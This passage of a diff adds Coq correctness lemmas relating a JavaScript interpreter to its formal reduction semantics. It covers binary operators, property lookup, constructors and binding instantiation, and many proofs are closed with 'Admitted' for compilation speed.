+  inequality_op op b1 b2.
+Proof.
+  Hint Constructors inequality_op.
+  introv HR. destruct op; simpls; inverts* HR.
+Admitted. (*faster*)
+
+Lemma get_shift_op_correct : forall op F b,
+  get_shift_op op = Some (b,F) ->
+  shift_op op b F.
+Proof.
+  Hint Constructors shift_op.
+  introv HR. destruct op; simpls; inverts* HR.
+Admitted. (*faster*)
+
+Lemma get_bitwise_op_correct : forall op F,
+  get_bitwise_op op = Some F ->
+  bitwise_op op F.
+Proof.
+  Hint Constructors bitwise_op.
+  introv HR. destruct op; simpls; inverts* HR.
+Admitted. (*faster*)
+
+
+(**************************************************************)
+
+Lemma run_object_get_own_prop_correct : forall runs S C l x y,
+  runs_type_correct runs ->
+  run_object_get_own_prop runs S C l x = result_some y ->
+  red_spec S C (spec_object_get_own_prop l x) y.
+Proof.
+  introv IH HR. unfolds in HR. run.
+  applys* red_spec_object_get_own_prop.
+    applys* run_object_method_correct. clear E.
+  let_name as M. asserts M_correct: (forall S y,
+    M S = result_some y ->
+    red_spec S C (spec_object_get_own_prop_1 builtin_get_own_prop_default l x) y).
+    clears HR S. subst. introv HR. run.
+     sets_eq <- Ao: (Heap.read_option x1 x).
+     applys~ red_spec_object_get_own_prop_1_default. eexists. splits.
+      applys run_object_method_correct E.
+      rewrite~ EQAo.
+     clear E. destruct Ao.
+      applys* red_spec_object_get_own_prop_2_some_data.
+      applys* red_spec_object_get_own_prop_2_none.
+    clear EQM.
+  destruct x0.
+  (* default *)
+  subst*.
+  (* argument object *)
+  run~ red_spec_object_get_own_prop_args_obj. destruct a as [|A]. (* LTAC ARTHUR: this [a] has been defined by tactics. *)
+   inverts HR. applys~ red_spec_object_get_own_prop_args_obj_1_undef.
+   run. forwards~ obpm: run_object_method_correct (rm E).
+   run. subst. run~ red_spec_object_get_own_prop_args_obj_1_attrs.
+   let_name. asserts Follow: (forall S A y,
+       follow S A = result_some y ->
+       red_spec S C (spec_args_obj_get_own_prop_4 A) y).
+     introv RES. rewrite EQfollow in RES. inverts RES.
+     apply~ red_spec_object_get_own_prop_args_obj_4.
+   clear EQfollow. destruct a. (* LTAC ARTHUR: idem. *)
+    apply* red_spec_object_get_own_prop_args_obj_2_undef.
+    run~ red_spec_object_get_own_prop_args_obj_2_attrs using run_object_get_correct.
+    destruct A as [Ad|]; tryfalse.
+    apply~ red_spec_object_get_own_prop_args_obj_3.
+  (* string *)
+  run~ red_spec_object_get_own_prop_string. destruct a as [|A]. (* LTAC ARTHUR: this [a] has been defined by tactics. *)
+   run red_spec_object_get_own_prop_string_1_undef using to_int32_correct.
+    run red_spec_object_get_own_prop_string_2.
+    cases_if.
+     inverts HR. apply~ red_spec_object_get_own_prop_string_3_different.
+     subst x. run_pre. forwards* (v&EQo&Opv): run_object_prim_value_correct. run_post.
+       inverts Ab as Ab'; false. inverts H0. false Ab'. reflexivity.
+     inverts EQo. applys~ red_spec_object_get_own_prop_string_3_same Opv.
+     run~ red_spec_object_get_own_prop_string_4.
+     let_name. apply~ red_spec_object_get_own_prop_string_5. cases_if.
+      inverts HR. apply~ red_spec_object_get_own_prop_string_6_outofbounds. math.
+      inverts HR. apply~ red_spec_object_get_own_prop_string_6_inbounds. math.
+   inverts HR. apply~ red_spec_object_get_own_prop_string_1_attrs.
+Admitted. (*faster*)
+
+
+Lemma run_function_has_instance_correct : forall runs S C (lo lv : object_loc) o,
+  runs_type_correct runs ->
+  run_function_has_instance runs S lo lv = o ->
+  red_expr S C (spec_function_has_instance_2 lv lo) o.
+Proof.
+  intros runs IH lo S C lv o HR. unfolds in HR. run_simpl.
+  forwards~ M: run_object_method_correct (rm E).
+  applys~ red_spec_function_has_instance_2 M.
+  destruct x as [()|lproto]; tryfalse; run_inv.
+   apply~ red_spec_function_has_instance_3_null.
+   cases_if; run_inv.
+    apply~ red_spec_function_has_instance_3_eq.
+    apply~ red_spec_function_has_instance_3_neq.
+     applys~ runs_type_correct_function_has_instance HR.
+Qed.
+
+
+Lemma run_object_has_instance_correct : forall runs S C B l v o,
+  runs_type_correct runs ->
+  run_object_has_instance runs S C B l v = result_some (specret_out o) ->
+  red_expr S C (spec_object_has_instance_1 B l v) o.
+Proof.
+  introv IH HR. unfolds in HR. destruct B.
+  destruct v.
+  run_inv. applys* red_spec_object_has_instance_1_function_prim.
+  run red_spec_object_has_instance_1_function_object
+    using run_object_get_correct.
+  destruct v.
+  applys* red_spec_function_has_instance_1_prim.
+  applys red_spec_function_has_instance_1_object.
+   applys* runs_type_correct_function_has_instance.
+
+   repeat run; apply run_object_method_correct in E;
+   apply run_object_method_correct in E1; subst.
+   apply red_spec_object_has_instance_after_bind.
+   applys~ red_spec_function_has_instance_after_bind_1. eassumption. 
+   destruct x1. applys* red_spec_function_has_instance_after_bind_2_some.
+   applys* runs_type_correct_object_has_instance.
+   applys* red_spec_function_has_instance_after_bind_2_none.
+Admitted. (* faster*)
+
+
+Lemma run_binary_op_correct : forall runs S C (op : binary_op) v1 v2 o,
+  runs_type_correct runs ->
+  run_binary_op runs S C op v1 v2 = o ->
+  red_expr S C (expr_binary_op_3 op v1 v2) o.
+Proof.
+
+  introv IH HR. unfolds in HR.
+  (* Add *)
+  case_if. subst.
+  run red_expr_binary_op_add using convert_twice_primitive_correct.
+  destruct a as [w1 w2]. case_if.
+  run* red_expr_binary_op_add_1_string using convert_twice_string_correct.
+  destruct a as [s1 s2]. run_inv.
+  applys* red_expr_binary_op_add_string_1.
+  run* red_expr_binary_op_add_1_number using convert_twice_number_correct.
+  destruct a as [n1 n2]. run_inv.
+  applys* red_expr_puremath_op_1.
+  (* Puremath *)
+  case_if. run.
+  run red_expr_puremath_op using convert_twice_number_correct.
+  applys* get_puremath_op_correct.
+  destruct a as [n1 n2]. run_inv.
+  applys* red_expr_puremath_op_1.
+  (* Shiftop *)
+  case_if. run. destruct x as [b F].
+  lets M: red_expr_shift_op b. case_if; subst.
+  run* M. applys* get_shift_op_correct.
+    run red_expr_shift_op_1. applys* red_expr_shift_op_2.
+  run* M. applys* get_shift_op_correct.
+    run red_expr_shift_op_1. applys* red_expr_shift_op_2.
+  (* bitwise *)
+  case_if. run.
+  run red_expr_bitwise_op. applys* get_bitwise_op_correct.
+  run red_expr_bitwise_op_1. applys* red_expr_bitwise_op_2.
+  (* inequality *)
+  clear n H H0 H1.
+  case_if. run. destruct x as [b1 b2].
+  applys red_expr_inequality_op. applys* get_inequality_op_correct.
+  run red_expr_inequality_op_1 using convert_twice_primitive_correct.
+  destruct a as [w1 w2]. let_name. destruct p as [wa wb]. simpls.
+  sets_eq wr: (inequality_test_primitive wa wb).
+  run_inv. applys_eq* (>> red_expr_inequality_op_2 EQp EQwr) 1.
+   fequals. case_if; case_if; case_if*; case_if*; case_if*; case_if*; case_if*; case_if*.
+  (* instanceof *)
+  case_if. subst.
+  destruct v2.
+  applys* red_expr_binary_op_instanceof_non_object.
+  run. lets M: run_object_method_correct (rm E).
+  destruct x.
+  applys* red_expr_binary_op_instanceof_normal.
+   simpls.
+   applys* red_spec_object_has_instance.
+   applys* run_object_has_instance_correct.
+  applys* red_expr_binary_op_instanceof_non_instance.
+  (* in *)
+  case_if. subst. destruct v2.
+  applys* red_expr_binary_op_in_non_object.
+  run red_expr_binary_op_in_object.
+    applys* red_expr_binary_op_in_1.
+    applys* object_has_prop_correct.
+  (* equal *)
+  clear n n0 H. case_if. subst.
+  applys* red_expr_binary_op_equal.
+    applys* runs_type_correct_equal.
+  (* disequal *)
+  case_if. subst.
+  run red_expr_binary_op_disequal.
+  applys* red_expr_binary_op_disequal_1.
+  (* strict equality *)
+  case_if. subst.
+  run_inv. applys* red_expr_binary_op_strict_equal.
+  (* strict disequality *)
+  case_if. subst.
+  run_inv. applys* red_expr_binary_op_strict_disequal.
+  (* coma *)
+  case_if. subst.
+  run_inv. applys* red_expr_binary_op_coma.
+Admitted. (*faster*)
+
+(**************************************************************)
+(* Auxiliary results for [array_args_map_loop] *)
+
+Lemma array_args_map_loop_no_abort : forall oes runs S o l C k,
+  array_args_map_loop runs S C l oes k = o -> exists S', o = out_ter S' res_empty.
+Proof.
+  inductions oes; introv Hyp.
+
+  + simpls. exists S. inverts~ Hyp. 
+  + simpls. run. eapply IHoes; eassumption.
+Qed.
+
+Lemma array_args_map_loop_correct : forall oes runs S S' l C k,
+   array_args_map_loop runs S C l oes k = res_void S' ->
+   red_expr S C (spec_call_array_new_3 l oes k) (out_ter S' l).
+Proof.
+  induction oes; introv Hyp.
+
+  + simpls. inverts Hyp. apply red_spec_call_array_new_3_empty.
+  + simpls. unfolds res_void. run. rename x into S''.
+    apply pick_option_correct in E.
+    applys~ red_spec_call_array_new_3_nonempty. exact E.
+    jauto.
+Qed.
+
+(**************************************************************)
+(* Auxiliary results for [spec_expr_get_value_conv] *)
+
+Lemma run_construct_prealloc_correct : forall runs S C B args o,
+  runs_type_correct runs ->
+  run_construct_prealloc runs S C B args = o ->
+  red_expr S C (spec_construct_prealloc B args) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  destruct B.
+  (* prealloc_global *)
+  discriminate.
+  (* prealloc_global_eval *)
+  discriminate.
+  (* prealloc_global_parse_int *)
+  discriminate.
+  (* prealloc_global_parse_float *)
+  discriminate.
+  (* prealloc_global_is_finite *)
+  discriminate.
+  (* prealloc_global_is_nan *)
+  discriminate.
+  (* prealloc_global_decode_uri *)
+  discriminate.
+  (* prealloc_global_decode_uri_component *)
+  discriminate.
+  (* prealloc_global_encode_uri *)
+  discriminate.
+  (* prealloc_global_encode_uri_component *)
+  discriminate.
+  (* prealloc_object *)
+  let_name. subst.
+  applys* red_spec_call_object_new.
+    applys* get_arg_correct_0.
+  destruct (get_arg 0 args) as [p | l]; unfolds call_object_new; [destruct p | ]; simpls; repeat let_name; try destruct p as (l & S'); substs.
+  inverts HR. applys* red_spec_call_object_new_1_null_or_undef.
+  inverts HR. applys* red_spec_call_object_new_1_null_or_undef.
+  applys* red_spec_call_object_new_1_prim.
+  applys* to_object_correct.
+  applys* red_spec_call_object_new_1_prim.
+  applys* to_object_correct.
+  applys* red_spec_call_object_new_1_prim.
+  applys* to_object_correct.
+  inverts HR. applys* red_spec_call_object_new_1_object.  
+  (* prealloc_object_get_proto_of *)
+  discriminate.
+  (* prealloc_object_get_own_prop_descriptor *)
+  discriminate.
+  (* prealloc_object_get_own_prop_name *)
+  discriminate.
+  (* prealloc_object_create *)
+  discriminate.
+  (* prealloc_object_define_prop *)
+  discriminate.
+  (* prealloc_object_define_props *)
+  discriminate.
+  (* prealloc_object_seal *)
+  discriminate.
+  (* prealloc_object_freeze *)
+  discriminate.
+  (* prealloc_object_prevent_extensions *)
+  discriminate.
+  (* prealloc_object_is_sealed *)
+  discriminate.
+  (* prealloc_object_is_frozen *)
+  discriminate.
+  (* prealloc_object_is_extensible *)
+  discriminate.
+  (* prealloc_object_keys *)
+  discriminate.
+  (* prealloc_object_keys_call *)
+  discriminate.
+  (* prealloc_object_proto *)
+  discriminate.
+  (* prealloc_object_proto_to_string *)
+  discriminate.
+  (* prealloc_object_proto_value_of *)
+  discriminate.
+  (* prealloc_object_proto_has_own_prop *)
+  discriminate.
+  (* prealloc_object_proto_is_prototype_of *)
+  discriminate.
+  (* prealloc_object_proto_prop_is_enumerable *)
+  discriminate.
+  (* prealloc_function *)
+  discriminate. (* LATER *)
+  (* prealloc_function_proto *)
+  discriminate.
+  (* prealloc_function_proto_to_string *)
+  discriminate.
+  (* prealloc_function_proto_apply *)
+  discriminate.
+  (* prealloc_function_proto_call *)
+  discriminate.
+  (* prealloc_function_proto_bind *)
+  discriminate.
+  (* prealloc_bool *)
+  repeat let_name.
+  applys* red_spec_construct_bool.
+  apply get_arg_correct_0.
+  applys* red_spec_to_boolean.
+  destruct p as (l & S').
+  inverts HR.
+  applys* red_spec_construct_bool_1.
+  substs~. 
+  (* prealloc_bool_proto *)
+  discriminate.
+  (* prealloc_bool_proto_to_string *)
+  discriminate.
+  (* prealloc_bool_proto_value_of *)
+  discriminate.
+  (* prealloc_number *)
+  let_name. cases_if*.
+  subst. repeat let_name. 
+  remember (object_alloc S O) as p.
+  destruct p as (l & S1).
+  inverts HR.
+  applys* red_spec_construct_number_nil.
+  applys* red_spec_construct_number_1. substs~.
+  let_name. subst.
+  run~ red_spec_construct_number_not_nil.
+  applys~ get_arg_correct_0.
+  repeat let_name.
+  remember (object_alloc S0 O) as p.
+  destruct p as (l & S1).
+  inverts HR.
+  applys* red_spec_construct_number_1.
+  substs~.
+  (* prealloc_number_proto *)
+  discriminate.
+  (* prealloc_number_proto_to_string *)
+  discriminate.
+  (* prealloc_number_proto_value_of *)
+  discriminate.
+  (* prealloc_number_proto_to_fixed *)
+  discriminate.
+  (* prealloc_number_proto_to_exponential *)
+  discriminate.
+  (* prealloc_number_proto_to_precision *)
+  discriminate.
+
+  (* prealloc_array *)
+  repeat let_name. destruct p as (l & S'). repeat let_name.
+  subst arg_len. destruct args. case_if*. 
+
+  applys~ red_spec_call_array_new_no_args. 
+  eapply red_spec_call_array_new_1; try eassumption. 
+  run. apply pick_option_correct in E.
+  applys* red_spec_call_array_new_2.
+  simpls. run. apply red_spec_call_array_new_3_empty.
+  destruct args. case_if*. clear e.
+  
+  unfolds get_arg. unfolds nth_def. subst v. 
+  applys~ red_spec_call_array_new_single_arg.
+  applys~ red_spec_call_array_new_single_allocate; try (subst; eassumption).
+
+  destruct v0; [destruct p | ]; subst;
+  try solve [run; rename x into S''; run; rename x into S'''; apply pick_option_correct in E; apply pick_option_correct in E0;
+             apply (red_spec_call_array_new_single_not_prim_number S' S'') with (n := JsNumber.of_int 0); jauto;
+             introv Heq; inverts Heq].
+  
+  run~ red_spec_call_array_new_single_prim_number. cases_if*.
+  run; rename x into S''; apply pick_option_correct in E.
+  applys~ red_spec_call_array_new_single_number_correct.
+  applys~ red_spec_call_array_new_single_set_length.
+  applys~ red_spec_call_array_new_single_number_incorrect.
+  applys run_error_correct HR.
+  
+  cases_if*. eapply red_spec_call_array_new_multiple_args. reflexivity.
+  eapply red_spec_call_array_new_1; try eassumption.
+  run. apply pick_option_correct in E.
+  applys* red_spec_call_array_new_2.
+  remember (v1 :: args) as args'; clear dependent v1. 
+  run_pre. run_post; subst.
+  apply array_args_map_loop_no_abort in R1.
+  destruct R1 as (S'' & Heq_o'). subst. inverts Ab.
+  false~ H0. inverts HR.
+  eapply array_args_map_loop_correct. eassumption.
+
+  (* prealloc_array_is_array *)
+  discriminate.
+  (* prealloc_array_proto *)
+  discriminate.
+  (* prealloc_array_proto_to_string *)
+  discriminate.
+  (* prealloc_array_proto_join *)
+  discriminate.
+  (* prealloc_array_proto_pop *)
+  discriminate.
+  (* prealloc_array_proto_push *)
+  discriminate.
+  (* prealloc_string *)
+  repeat let_name.
+  cases_if*. subst.
+  symmetry in EQarg_len. apply length_zero_inv in EQarg_len. subst.
+  apply red_spec_construct_string_empty. 
+  let_name.
+  match goal with H: context [object_alloc ?s ?o] |- _ => sets_eq X: (object_alloc s o) end.
+  destruct X as (l & S'). let_name. subst.
+  run. rename x into S''. apply pick_option_correct in E.
+  remember (object_with_primitive_value
+             (object_with_get_own_property
+                (object_new prealloc_string_proto "String")
+                builtin_get_own_prop_string) "") as O.
+  applys* red_spec_construct_string_2; substs~.
+  applys* red_spec_construct_string_non_empty.
+  subst. destruct args; jauto; discriminate.
+  apply get_arg_correct_0. subst.
+  run red_spec_construct_string_1 using to_string_correct.
+  let_name.
+  match goal with H: context [object_alloc ?s ?o] |- _ => sets_eq X: (object_alloc s o) end.
+  destruct X as (l & S'). let_name. subst.
+  run. rename x into S''. apply pick_option_correct in E.
+  remember (object_with_primitive_value
+             (object_with_get_own_property
+                (object_new prealloc_string_proto "String")
+                builtin_get_own_prop_string) "") as O.
+  applys* red_spec_construct_string_2; substs~.
+  (* prealloc_string_proto *)
+  discriminate.
+  (* prealloc_string_proto_to_string *)
+  discriminate.
+  (* prealloc_string_proto_value_of *)
+  discriminate.
+  (* prealloc_string_proto_char_at *)
+  discriminate.
+  (* prealloc_string_proto_char_code_at *)
+  discriminate.
+  (* prealloc_math *)
+  discriminate.
+  (* prealloc_mathop *)
+  discriminate.
+  (* prealloc_date *)
+  discriminate.
+  (* prealloc_regexp *)
+  discriminate.
+  (* prealloc_error *)
+  let_name. apply~ red_spec_construct_error.
+    apply~ get_arg_correct_0.
+  substs. apply* build_error_correct.  
+  (* prealloc_error_proto *)
+  discriminate.
+  (* prealloc_native_error *)  
+  let_name. apply~ red_spec_construct_native_error.
+    apply~ get_arg_correct_0.
+  substs. apply* build_error_correct.
+  (* prealloc_native_error_proto *)
+  discriminate. (* TODO *)
+  (* prealloc_error_proto_to_string *)
+  discriminate.
+  (* prealloc_throw_type_error *)
+  discriminate.
+  (* prealloc_json *)
+  discriminate.
+Admitted. (*faster*)
+
+Lemma run_construct_default_correct : forall runs S C l args o,
+  runs_type_correct runs ->
+  run_construct_default runs S C l args = res_out o ->
+  red_expr S C (spec_construct_default l args) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_construct_default using run_object_get_correct.
+  let_simpl. let_simpl. let_name. destruct p as [l' S2].
+  run* red_spec_construct_default_1. rewrite* EQp. case_if; case_if*.
+  let_simpl. run_inv.
+  applys* red_spec_function_construct_2. case_if; case_if*.
+Admitted. (*faster*)
+
+Lemma run_construct_correct : forall runs S C co l args o,
+  runs_type_correct runs ->
+  run_construct runs S C co l args = o ->
+  red_expr S C (spec_construct_1 co l args) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  destruct co.
+    applys* red_spec_construct_1_default. applys* run_construct_default_correct.
+
+    repeat run. apply run_object_method_correct in E.  
+    apply run_object_method_correct in E1; subst.
+    applys* red_spec_construct_1_after_bind.
+    destruct x1. repeat run. let_name. 
+    apply run_object_method_correct in E0; subst. 
+    applys* red_spec_construct_1_after_bind_1_some.
+    applys* runs_type_correct_construct.
+    applys* red_spec_construct_1_after_bind_1_none.
+
+    applys* red_spec_construct_1_prealloc. applys* run_construct_prealloc_correct.
+Admitted. (* faster *)
+
+
+Lemma creating_function_object_proto_correct : forall runs S C l o,
+  runs_type_correct runs ->
+  creating_function_object_proto runs S C l = o ->
+  red_expr S C (spec_creating_function_object_proto l) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_creating_function_object_proto
+    using run_construct_prealloc_correct.
+  let_simpl. run red_spec_creating_function_object_proto_1.
+  let_simpl. applys* red_spec_creating_function_object_proto_2. run_hyp*.
+Admitted. (* faster *)
+
+
+Lemma creating_function_object_correct : forall runs S C names bd X str o,
+  runs_type_correct runs ->
+  creating_function_object runs S C names bd X str = o ->
+  red_expr S C (spec_creating_function_object names bd X str) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  let_simpl. let_simpl. let_simpl. let_simpl. let_name. destruct p as [l S1].
+  let_simpl. run* red_spec_creating_function_object.
+  run red_spec_creating_function_object_1
+    using creating_function_object_proto_correct.
+  case_if; destruct str; tryfalse.
+    run_inv. applys* red_spec_creating_function_object_2_not_strict.
+    let_simpl. let_simpl.
+     run* red_spec_creating_function_object_2_strict. clear EQp.
+     run* red_spec_creating_function_object_3.
+     applys* red_spec_creating_function_object_4.
+Admitted. (* faster*)
+
+
+Lemma env_record_has_binding_correct : forall runs S C L x o,
+  runs_type_correct runs ->
+  env_record_has_binding runs S C L x = o ->
+  red_expr S C (spec_env_record_has_binding L x) o.
+Proof.
+  introv IH HR. unfolds in HR. run_simpl.
+  forwards B: @pick_option_correct (rm E).
+  applys~ red_spec_env_record_has_binding B. destruct x0; run_inv.
+   apply~ red_spec_env_record_has_binding_1_decl.
+    rewrite decide_def; auto.
+   apply~ red_spec_env_record_has_binding_1_object.
+    apply* object_has_prop_correct.
+Qed.
+
+
+Lemma binding_inst_function_decls_correct : forall runs S C args L fds str bconfig o,
+  runs_type_correct runs ->
+  binding_inst_function_decls runs S C L fds str bconfig = o ->
+  red_expr S C (spec_binding_inst_function_decls args L fds str bconfig) o.
+Proof.
+  introv IH HR. gen S o. induction fds; introv HR.
+  simpls. run_inv. applys* red_spec_binding_inst_function_decls_nil.
+  simpls. let_name. let_name. let_name. let_name.
+  run (@red_spec_binding_inst_function_decls_cons str_fd)
+    using creating_function_object_correct. subst*. subst*. clear R1.
+  let_name as M. rename a into fd. rename l into fo.
+  asserts M_correct: (forall S o,
+      M S = o ->
+      red_expr S C (spec_binding_inst_function_decls_5 args L fd fds str fo bconfig) o).
+    clears HR S o. introv HR. subst M.
+    subst fname. run red_spec_binding_inst_function_decls_5
+      using env_record_set_mutable_binding_correct.
+    applys* red_spec_binding_inst_function_decls_6.
+    clear EQM.
+  subst fname. run red_spec_binding_inst_function_decls_1
+    using env_record_has_binding_correct.
+  case_if; subst.
+    case_if; try subst L.
+      run red_spec_binding_inst_function_decls_2_true_global
+        using run_object_get_prop_correct.
+       destruct a; tryfalse. case_if.
+         let_name. run* red_spec_binding_inst_function_decls_3_true.
+          applys* red_spec_binding_inst_function_decls_4.
+         applys red_spec_binding_inst_function_decls_3_false.
+           destruct (attributes_configurable a); tryfalse; auto. (* LATER: cleanup *)
+          case_if.
+            applys* red_spec_binding_inst_function_decls_3a_type_error.
+            applys* red_spec_binding_inst_function_decls_3a_no_error.
+        applys* red_spec_binding_inst_function_decls_2_true.
+    run red_spec_binding_inst_function_decls_2_false
+      using env_record_create_mutable_binding_correct.
+     applys* red_spec_binding_inst_function_decls_4.
+Admitted. (* faster *)
+
+
+Lemma binding_inst_var_decls_correct : forall runs S C L vds bconfig str o,
+  runs_type_correct runs ->
+  binding_inst_var_decls runs S C L vds bconfig str = o ->
+  red_expr S C (spec_binding_inst_var_decls L vds bconfig str) o.
+Proof.
+  introv IH HR. gen S o. induction vds; introv HR.
+  simpls. run_inv. applys* red_spec_binding_inst_var_decls_nil.
+  simpls. let_simpl.
+  run red_spec_binding_inst_var_decls_cons
+    using env_record_has_binding_correct.
+  case_if; subst.
+    applys* red_spec_binding_inst_var_decls_1_true.
+    run red_spec_binding_inst_var_decls_1_false
+      using env_record_create_set_mutable_binding_correct.
+     applys* red_spec_binding_inst_var_decls_2.
+Admitted. (* faster *)
+
+Lemma binding_inst_formal_params_correct : forall runs S C L args names str o,
+  runs_type_correct runs ->
+  binding_inst_formal_params runs S C L args names str = o ->
+  red_expr S C (spec_binding_inst_formal_params args L names str) o.
+Proof.
+  introv IH HR. gen S args o. induction names; introv HR.
+  simpls. run_inv. applys* red_spec_binding_inst_formal_params_empty.
+  simpls.
+  let_name. let_name.
+  run (@red_spec_binding_inst_formal_params_non_empty v args')
+    using env_record_has_binding_correct.
+    subst v args'. destruct* args.
+  let_name as M. asserts M_correct: (forall S o,
+      M S = o ->
+      red_expr S C (spec_binding_inst_formal_params_3 args' L a names str v) o).
+    clears HR S o. introv HR. subst M.
+    run red_spec_binding_inst_formal_params_3
+      using env_record_set_mutable_binding_correct.
+    applys* red_spec_binding_inst_formal_params_4.
+    clear EQM.
+  case_if; subst.
+    applys* red_spec_binding_inst_formal_params_1_declared.
+     run red_spec_binding_inst_formal_params_1_not_declared
+       using env_record_create_mutable_binding_correct.
+    applys* red_spec_binding_inst_formal_params_2.
+Admitted. (* faster *)
+
+
+Lemma make_arg_getter_correct : forall runs S C x X o,
+  runs_type_correct runs ->
+  make_arg_getter runs S C x X = o ->
+  red_expr S C (spec_make_arg_getter x X) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  apply~ red_spec_make_arg_getter. applys~ creating_function_object_correct HR.
+Qed.
+
+Lemma make_arg_setter_correct : forall runs S C x X o,
+  runs_type_correct runs ->
+  make_arg_setter runs S C x X = o ->
+  red_expr S C (spec_make_arg_setter x X) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  apply~ red_spec_make_arg_setter. applys~ creating_function_object_correct HR.
+Qed.
+
+Lemma arguments_object_map_loop_correct : forall runs S C l xs len args args' X str lmap xsmap o,
+  runs_type_correct runs ->
+  len = length args ->
+  arguments_object_map_loop runs S C l xs len args X str lmap xsmap = o ->
+  red_expr S C (spec_arguments_object_map_2 l xs (args ++ args') X str lmap xsmap (len - 1)) o.
+Proof.
+  introv IH EQlen HR. gen o args args' S xsmap. induction len; introv EQlen HR.
+   simpls. apply~ red_spec_arguments_object_map_2_negative. math. cases_if.
+     substs. inverts HR. apply~ red_spec_arguments_object_map_8_nil.
+     run. let_name. inverts HR. forwards~ B: @pick_option_correct E.
+     applys~ red_spec_arguments_object_map_8_cons B. substs*.
+   unfolds in HR. fold arguments_object_map_loop in HR.
+    let_name. destruct tdl as (rmlargs&largs).
+    forwards EQargs: take_drop_last_spec EQtdl; [destruct args; tryfalse; discriminate|].
+    forwards EQlargs: take_drop_last_length EQtdl; [destruct args; tryfalse; discriminate|].
+    clear EQtdl. simpl in HR.
+    let_name. let_name. asserts Loop: (forall S xsmap o,
+        arguments_object_map_loop' S xsmap = o ->
+        red_expr S C (spec_arguments_object_map_2 l xs (rmlargs ++ largs :: args') X str lmap xsmap (len - 1)) o).
+      clear HR. introv RES. subst arguments_object_map_loop'. apply* IHlen. math.
+    clear EQarguments_object_map_loop'.
+    asserts_rewrite (Datatypes.S len - 1 = len). math.
+    run~ red_spec_arguments_object_map_2_positive using object_define_own_prop_correct.
+      clear HR. subst args. rew_app. applys~ ZNth_app_r ZNth_here. math.
+      subst A. auto*.
+    clear R1 EQA. cases_if.
+     apply~ red_spec_arguments_object_map_3_next.
+       apply~ nat_int_ge.
+      rewrite EQargs. rew_app. apply~ Loop.
+     let_name. asserts ZN: (ZNth len xs x).
+        apply Nth_to_ZNth. forwards (x'&N): length_Nth_lt len xs. math.
+        forwards EQx': Nth_to_nth_def "" N. subst x'. rewrite~ <- EQx in N.
+      cases_if.
+       applys~ red_spec_arguments_object_map_3_cont_next ZN.
+        rewrite EQargs. rew_app. apply~ Loop.
+       applys~ red_spec_arguments_object_map_3_cont_cont ZN.
+        rew_logic in n0. destruct n0 as [? NI]. splits.
+         destruct~ str; false.
+         auto*.
+        run red_spec_arguments_object_map_4 using make_arg_getter_correct.
+        run red_spec_arguments_object_map_5 using make_arg_setter_correct.
+        let_name. run~ red_spec_arguments_object_map_6.
+          rewrite EQA' in R1. simpl in R1.
+          simpl. auto*.
+        apply~ red_spec_arguments_object_map_7.
+        rewrite EQargs. rew_app. apply~ Loop.
+Admitted. (* faster *)
+
+Lemma arguments_object_map_correct : forall runs S C l xs args X str o,
+  runs_type_correct runs ->
+  arguments_object_map runs S C l xs args X str = o ->
+  red_expr S C (spec_arguments_object_map l xs args X str) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_arguments_object_map using run_construct_prealloc_correct.
+  apply~ red_spec_arguments_object_map_1.
+  rewrite <- (app_nil_r args).
+  apply* arguments_object_map_loop_correct; rew_app~.
+Qed.
+
+Lemma create_arguments_object_correct : forall runs S C lf xs args X str o,
+  runs_type_correct runs ->
+  create_arguments_object runs S C lf xs args X str = o ->
+  red_expr S C (spec_create_arguments_object lf xs args X str) o.
+Proof.
+  introv IH HR. unfolds in HR. let_name. let_name. destruct p as [l S'].
+  let_name. run* red_spec_create_arguments_object; try solve [ substs* ].
+  clear EQA EQO EQp A. run red_spec_create_arguments_object_1
+    using arguments_object_map_correct. cases_if.
+   let_name. let_name.
+    run* red_spec_create_arguments_object_2_strict; try solve [ substs* ].
+    clear EQA. run red_spec_create_arguments_object_3.
+    apply~ red_spec_create_arguments_object_4.
+   let_name.
+    run* red_spec_create_arguments_object_2_non_strict; try solve [ substs* ].
+    clear EQA. apply~ red_spec_create_arguments_object_4.
+Qed.
+
+Lemma binding_inst_arg_obj_correct : forall runs S C lf p xs args L o,
+  runs_type_correct runs ->
+  binding_inst_arg_obj runs S C lf p xs args L = o ->
+  red_expr S C (spec_binding_inst_arg_obj lf p xs args L) o.
+Proof.
+  introv IH HR. unfolds in HR. let_name.
+  run~ red_spec_binding_inst_arg_obj using create_arguments_object_correct.
+  cases_if.
+   run red_spec_binding_inst_arg_obj_1_strict
+     using env_record_create_immutable_binding_correct.
+    apply~ red_spec_binding_inst_arg_obj_2.
+    apply~ env_record_initialize_immutable_binding_correct.
+   apply~ red_spec_binding_inst_arg_obj_1_not_strict.
+    applys~ env_record_create_set_mutable_binding_correct HR.
+Qed.
+
+
+Lemma execution_ctx_binding_inst_correct : forall runs S C ct funco (p:prog) args o,
+  runs_type_correct runs ->
+  execution_ctx_binding_inst runs S C ct funco p args = o ->
+  red_expr S C (spec_binding_inst ct funco p args) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  cases (execution_ctx_variable_env C); tryfalse. rename e into L.
+  applys* red_spec_binding_inst. clears TEMP. let_simpl.
+  let_name as M. asserts M_correct: (forall S xs o,
+      M S xs = o ->
+      red_expr S C (spec_binding_inst_3 ct funco p xs args L) o).
+    clear HR S o. introv HR. subst M.
+    let_name. let_name.
+    run red_spec_binding_inst_3
+      using binding_inst_function_decls_correct.
+        subst bconfig. rewrite decide_def. auto.
+        auto.
+    applys red_spec_binding_inst_4.
+    run red_spec_binding_inst_5 using env_record_has_binding_correct.
+    let_name as N. asserts N_correct: (forall S o,
+      N S = o ->
+      red_expr S C (spec_binding_inst_8 p bconfig L) o).
+      clear HR S o. introv HR. subst N.
+      applys red_spec_binding_inst_8.
+        applys* binding_inst_var_decls_correct.
+      clear EQN.
+    destruct ct.
+      destruct funco.
+        destruct b; tryfalse.
+          applys* red_spec_binding_inst_6_no_arguments. rew_logic*.
+          run red_spec_binding_inst_6_arguments
+            using binding_inst_arg_obj_correct.
+           applys* red_spec_binding_inst_7.
+        destruct b; tryfalse.
+         applys* red_spec_binding_inst_6_no_arguments. rew_logic*.
+      applys* red_spec_binding_inst_6_no_arguments.
